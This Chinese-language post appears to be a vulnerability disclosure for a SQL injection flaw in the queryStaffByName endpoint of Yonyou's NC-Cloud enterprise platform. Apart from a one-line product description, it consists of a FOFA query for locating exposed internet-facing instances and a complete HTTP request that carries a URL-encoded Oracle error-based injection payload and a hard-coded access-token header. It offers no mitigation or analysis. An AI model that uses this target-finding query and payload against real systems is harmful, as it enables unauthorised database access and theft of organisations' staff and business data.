用友NC-Cloud系统queryStaffByName存在SQL注入漏洞

NC Cloud是用友推出的大型企业数字化平台。用友NC-Cloud系统queryStaffByName存在SQL注入漏洞。

fofa

app="用友-NC-Cloud"

poc

GET /ncchr/pm/staff/queryStaffByName?name=1%27+AND+7216%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%287216%3D7216%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28118%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29--+hzDZ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Accesstokenncc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close